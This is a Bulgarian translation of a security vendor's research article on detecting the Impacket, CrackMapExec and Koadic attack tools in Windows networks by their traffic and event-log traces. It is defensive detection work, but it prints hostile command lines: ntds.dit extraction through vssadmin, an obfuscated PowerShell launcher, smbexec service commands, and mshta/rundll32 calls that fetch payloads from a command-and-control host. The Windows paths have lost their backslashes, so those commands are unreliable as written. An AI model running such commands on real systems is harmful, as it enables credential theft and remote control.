🥇Как да открием атаки на Windows инфраструктура: изучаваме инструментариума на хакерите

С всяка изминала година се увеличава броят на атаките в корпоративния сектор: например през 2017 година бяха регистрирани с 13% повече уникални инциденти в сравнение с 2016 г., а за 2018 г. — с 27% повече инциденти, отколкото в предишния период. Включително и тези, при които основният работен инструмент е операционната система Windows. През 2017—2018 години групировки APT Dragonfly, APT28, APT MuddyWater извършваха атаки срещу правителствени и военни организации в Европа, Северна Америка и Саудитска Аравия. Те използваха три инструмента — Impacket, CrackMapExec и Koadic. Изходният им код е открит и достъпен на GitHub.

Важно е да се отбележи, че тези инструменти не се използват за първоначално проникване, а за развитие на атаката в инфраструктурата. Злоумышлениците ги използват на различни етапи от атаката, следващи след преодоляване на периметъра. Това, между другото, е трудно за откриване и често само с помощта на технологии за откриване на следи от компрометация в мрежовия трафик или инструменти, позволяващи да се открият активните действия на злоумышленника след проникването му в инфраструктурата. Инструментите предлагат множество функции — от трансфер на файлове до взаимодействие с регистъра и изпълнение на команди на отдалечена машина. Проведохме изследване на тези инструменти, за да определим тяхната мрежова активност.

Какво трябваше да направим:

Да разберем как работи хакерският инструментариум. Да научим какво е необходимо на атакуващите за експлотация и с какви технологии те могат да се възползват.
Да намерим това, което не се открива от средствата за информационна сигурност на първите етапи на атаката. Етапът на разузнаване може да бъде пропуснат, или защото атакуващият е вътрешен злоумышленик, или защото атакуващият използва уязвимост в инфраструктурата, за която преди това не е било известно. Появява се възможност да се възстанови цялата верига на действията му, оттук произлиза желанието да се открият по-нататъшните му движения.
Да се елиминират фалшивите сработвания на средствата за откриване на нашествия. Не трябва да забравяме и че при откриването на определени действия, основаващи се само на разузнаване, могат да се допуснат чести грешки. Обикновено в инфраструктурата съществува достатъчно количество методи, които на пръв поглед не се отличават от легитимните, за получаване на информация.

Какво дават тези инструменти на атакуващите? Ако става въпрос за Impacket, то престъпниците получават голяма библиотека от модули, които могат да се използват в различни етапи на атаката след преодоляването на периметъра. Много инструменти използват модули от Impacket вътре в себе си — например, Metasploit. В него има dcomexec и wmiexec за отдалечено изпълнение на команди, secretsdump за извличане на акаунти от паметта, които са добавени от Impacket. В крайна сметка правилното откритие на активността на такава библиотека осигурява и откритие на производните.

За CrackMapExec (или просто CME) създателите неслучайно написаха «Powered by Impacket». Освен това, CME разполага с готова функционалност за популярни сценарии: това е и Mimikatz за извличане на пароли или техните хешове, и внедряване на Meterpreter или Empire agent за отдалечено изпълнение, и Bloodhound на борда.

Третият инструмент, който избрахме, е Koadic. Той е сравнително нов, представен на международната хакерска конференция DEFCON 25 през 2017 година и се отличава с нетрадиционен подход: работа чрез HTTP, Java Script и Microsoft Visual Basic Script (VBS). Този подход се нарича living off the land: инструментът използва набор от зависимости и библиотеки, вградени в Windows. Създателите го наричат COM Command & Control, или C3.

IMPACKET

Функционалността на Impacket е доста широка, започвайки от разузнаване вътре в AD и събиране на данни от вътрешни MS SQL сървъри, до техники за получаване на учетни данни: това е и атака SMB relay, и извличане на файла ntds.dit от контролера на домейна, съдържащ хешовете на паролите на потребителите. Освен това, Impacket отдалечено изпълнява команди, използвайки четири различни метода: чрез WMI, услуга за управление на планирате на Windows, DCOM и SMB, и за това му трябват учетни данни.

Secretsdump

Нека разгледаме secretsdump. Този модул може да цели както потребителски машини, така и домейнови контролери. Чрез него могат да се извлекат копия на паметовите области LSA, SAM, SECURITY, NTDS.dit, което го прави видим на различни етапи на атака. Първата стъпка при работа с модула е аутентификацията през SMB, за която е необходима или паролата на потребителя, или нейният хеш за автоматизирано провеждане на атака Pass the Hash. Следва запитване за отваряне на достъп до Service Control Manager (SCM) и получаване на достъп до регистъра по протокол winreg, с помощта на който нападателят може да научи данни от интересуващите го клонове и да получи резултатите през SMB.

На рис. 1 виждаме как точно става достъпа до ключа на регистъра с LSA при използването на протокола winreg. За това се използва команда DCERPC с операционен код 15 — OpenKey.

Рис. 1. Отваряне на ключ от регистъра по протокол winreg

Когато достъпът до ключа е получен, следва запазване на стойностите с команда SaveKey и операционен код 20. Impacket го прави по много специфичен начин. Той запазва стойностите в файл, чието име е низ от 8 произволни символа с добавяне на .tmp. Освен това, следващото извличане на този файл става чрез SMB от директория System32 (рис. 2).

Рис. 2. Схема за получаване на ключа от регистъра от отдалечена машина

Така че, подобна активност в мрежата може да бъде открита по запитванията към определени клони на регистъра по протокол winreg, специфичните имена, командите и техния ред.

Също така, този модул оставя следи в журнала на събитията на Windows, благодарение на които е лесен за откриване. Например, в резултат на изпълнението на командата

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

в журнала на Windows Server 2016 ще видим следната ключова последователност от събития:

1. 4624 — отдалечен вход.
2. 5145 — проверка на правата за достъп до отдалечената услуга winreg.
3. 5145 — проверка на правата за достъп до файл в директория System32. Файлът има случайно име, споменато по-горе.
4. 4688 — създаване на процес cmd.exe, който стартира vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Както и при много инструменти за постексплоатация, Impacket предлага модули за отдалечено изпълнение на команди. Ние ще се фокусираме върху smbexec, който предоставя интерактивна командна оболочка на отдалечено устройство. За този модул също е необходима аутентификация чрез SMB, по парола или по хеш. На рис. 3 виждаме пример за работа на този инструмент, в конкретния случай това е конзолата на локалния администратор.

Рис. 3. Интерактивна конзола smbexec

Първата стъпка в работата на smbexec след аутентификацията е отварянето на SCM с командата OpenSCManagerW (15). Запитването е интересно: в него полето MachineName има стойност DUMMY.

Рис. 4. Запитване за отваряне на Service Control Manager

След това следва създаване на услуга с командата CreateServiceW (12). В случая на smbexec ние можем да видим една и съща логика на построяване на командата. На рис. 5 зеленото обозначава неизменяеми параметри на командата, а жълтото — неща, които атакуващият може да промени. Лесно е да се забележи, че името на изпълнимия файл, неговата директория и файлът output могат да бъдат променени, но осталното по-сложно, без да се нарушава логиката на работа на модула Impacket.

Рис. 5. Запитване за създаване на услуга чрез Service Control Manager

Smbexec също така оставя явни следи в журналите на Windows. В журнала на Windows Server 2016 за интерактивна командна оболочка с командата ipconfig ще видим следната ключова последователност от събития:

1. 4697 — инсталиране на услуга на жертвата:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — създаване на процес cmd.exe с аргументите от пункт 1.
3. 5145 — проверка на правата за достъп до файла __output в директорията C$.
4. 4697 — инсталиране на услуга на жертвата.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — създаване на процес cmd.exe с аргументи от т. 4.
6. 5145 — проверка на правата за достъп до файла __output в директория C$.

Impacket е основата за разработка на инструменти за атаки. Той поддържа почти всички протоколи в Windows инфраструктурата и има свои характерни особености. Включително конкретни winreg заявки, използване на SCM API с характерно формиране на команди, имена на файлове и SMB споделения SYSTEM32.

CRACKMAPEXEC

Инструментът CME има за цел да автоматизира рутинните действия, които атакуващият трябва да изпълни, за да напредне в мрежата. Той позволява работа в комбинация с известните Empire agent и Meterpreter. За да изпълнява командите скрито, CME може да ги обфускира. Използвайки Bloodhound (отделен инструмент за разузнаване), атакуващият може да автоматизира търсенето на активна сесия на домейн администратор.

Bloodhound

Bloodhound като самостоятелен инструмент позволява провеждане на напреднало разузнаване в мрежата. Той събира данни за потребители, устройства, групи, сесии и се предоставя под формата на PowerShell скрипт или бинарен файл. За събиране на информация се използват LDAP или протоколи, базирани на SMB. Интеграционния модул CME позволява зареждане на Bloodhound на компютъра на жертвата, стартиране и получаване на събраните данни след изпълнение, автоматизирайки действията в системата и правейки ги по-малко забележими. Графичния интерфейс на Bloodhound представя събраните данни под формата на графи, което позволява намиране на най-краткия път от устройството на атакуващия до домейн администратора.

Рис. 6. Интерфейс на Bloodhound

За стартиране на устройството на жертвата модулът създава задача, използвайки ATSVC и SMB. ATSVC е интерфейс за работа с Windows Task Scheduler. CME използва функцията NetrJobAdd (1) за създаване на мрежови задачи. Пример за това, което модулът CME изпраща, е показан на рис. 7: това е извикване на командата cmd.exe и обфускиран код под формата на аргументи в XML формат.

Рис.7. Създаване на задача чрез CME

След като задачата постъпи за изпълнение, устройството на жертвата стартира самия Bloodhound, и това може да се види в трафика. За модула са характерни LDAP заявки за получаване на стандартни групи, списък на всички устройства и потребители в домейна, получаване на информация за активните потребителски сесии чрез SRVSVC NetSessEnum запитване.

Рис. 8. Получаване на списък с активни сесии чрез SMB

Освен това, стартирането на Bloodhound на жертвовата машина с включен аудитор води до събитие с ID 4688 (създаване на процес) и име на процеса „C:WindowsSystem32cmd.exe“. Интересни са аргументите на командния ред:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Модулът enum_avproducts е изключително интересен от гледна точка на функционалността и реализирането си. WMI позволява, чрез езика за заявки WQL, да получавате данни за различни обекти на Windows, което точно прави този модул CME. Той генерира заявки към класовете AntiSpywareProduct и AntiМirusProduct относно средствата за защита, инсталирани на жертвовата машина. За да получи необходимите данни, модулът осъществява свързване с пространството имена rootSecurityCenter2, след което формира WQL-заявка и получава отговор. На рис. 9 е показано съдържанието на такива заявки и отговори. В нашия пример беше открит Windows Defender.

Рис. 9. Мрежова активност на модула enum_avproducts

Често аудитът на WMI (Trace WMI-Activity), в събитията на който може да се намери полезна информация за WQL-заявките, може да бъде изключен. Но ако е включен, тогава при стартиране на сценария enum_avproducts ще остане събитие с ID 11. В него ще се съдържа името на потребителя, който е изпратил заявката, и името в пространството имена rootSecurityCenter2.

Всеки от модулите CME има свои артефакти, независимо дали става въпрос за специфични WQL-заявки или за създаване на определен вид задача в планировчика с обфускация и характерна за Bloodhound активност в LDAP и SMB.

KOADIC

Отличителна черта на Koadic е използването на вградени в Windows интерпретатори на JavaScript и VBScript. В това отношение той следва тенденцията living off the land — тоест не притежава външни зависимости и използва стандартните средства на Windows. Това е инструмент за пълноценен Command & Control (CnC), тъй като след заразяване на машината се инсталира "имплант", който позволява контрол над нея. Такава машина, в терминологията на Koadic, се нарича "зомби". При недостиг на привилегии за нормална работа на страната на жертвата, Koadic има възможност да ги повиши, използвайки техники за заобикаляне на контрола на потребителските акаунти (UAC bypass).

Рис. 10. Команден ред на Koadic

Жертвата трябва сама да инициира комуникация със сървъра Command & Control. За целта е необходимо да се свърже чрез предварително подготвен URI и да получи основното тяло на Koadic с помощта на един от стейджерите. На рис. 11 е показан пример за стейджера mshta.

Рис. 11. Инициализиране на сесия с CnC-сървъра

От променливата WS в отговора става ясно, че изпълнението се извършва чрез WScript.Shell, а променливите STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE съдържат ключова информация за параметрите на текущата сесия. Това е първата двойка запитване-отговор в HTTP-соединението с CnC-сървъра. Последващите запитвания са свързани директно с функционалността на извиканите модули (импланти). Всички модули Koadic работят само с активна сесия с CnC.

Mimikatz

Подобно на това как CME работи с Bloodhound, Koadic работи с Mimikatz като отделна програма и има няколко начина за нейното стартиране. По-долу е представена двойка запитване-отговор за зареждане на импланта Mimikatz.

Рис. 12. Предаване на Mimikatz в Koadic

Може да се види как се е променил форматът на URI в запитването. В него се появи стойност на променливата csrf, която отговаря за избрания модул. Не обръщайте внимание на името ѝ; всички знаем, че обикновено под CSRF се разбира нещо друго. В отговор дойде същото основно тяло на Koadic, в което беше добавен код, свързан с Mimikatz. Той е доста голям, затова ще разгледаме ключовите моменти. Пред нас е кодирана в base64 библиотека Mimikatz, сериализираният .NET клас, който ще я инжектира, и аргументите за стартиране на Mimikatz. Резултатът от изпълнението се предава по мрежата в открит вид.

Рис. 13. Резултат от изпълнението на Mimikatz на отдалечен компютър

Exec_cmd

В Koadic има и модули, способни да изпълняват команди отдалечено. Тук ще видим същия метод за генериране на URI и познатите променливи sid и csrf. В случая на модула exec_cmd в тялото се добавя код, който може да изпълнява shell-команди. По-долу е показан такъв код, съдържащ се в HTTP-ответа на CnC-сървъра.

Рис. 14. Код на импланта exec_cmd

Променливата GAWTUUGCFI с познатия атрибут WS е необходима за изпълнение на кода. С нея имплантът извиква shell, обработвайки две гладки пътища на кода — shell.exec с връщане на изходния поток данни и shell.run без връщане.

Koadic не е типичен инструмент, но притежава свои артефакти, по които може да бъде намерен в легитимен трафик:

специално форматиране на HTTP-запитвания,
използване на winHttpRequests API,
създаване на обект WScript.Shell чрез ActiveXObject,
голямо изпълнимо тяло.

Първоначалната връзка инициира стейджера, поради което се появява възможността да откриваме неговата активност чрез събития на Windows. За mshta това е събитие 4688, което казва за създаване на процес с атрибут за стартиране:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

По време на изпълнението на Koadic могат да се видят и други събития 4688 с атрибути, които отлично го характеризират:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Изводи

Трендът living off the land набира популярност сред злонамерените. Те използват вградени в Windows инструменти и механизми за своите нужди. Виждаме как популярните инструменти Koadic, CrackMapExec и Impacket, следващи този принцип, все по-често се срещат в отчети за APT. Броят на форковете в GitHub за тези инструменти също нараства, появяват се нови (вече са около хиляда). Трендът набира популярност заради своята простота: на злонамерените не им трябват допълнителни инструменти, те вече са налични на машините на жертвите и помагат да се заобиколят защитните средства. Ние се фокусираме върху изучаването на мрежовото взаимодействие: всеки от описаните по-горе инструменти оставя свои следи в мрежовия трафик; подробното им изследване ни позволи да научим нашия продукт PT Network Attack Discovery да ги открива, което в крайна сметка помага да се разследва цялата верига от киберинциденти с тяхното участие.

Автори:

Антон Тюрин, ръководител на отдела за експертни услуги, PT Expert Security Center, Positive Technologies
Егор Подмоков, експерт, PT Expert Security Center, Positive Technologies

Източник: habr.com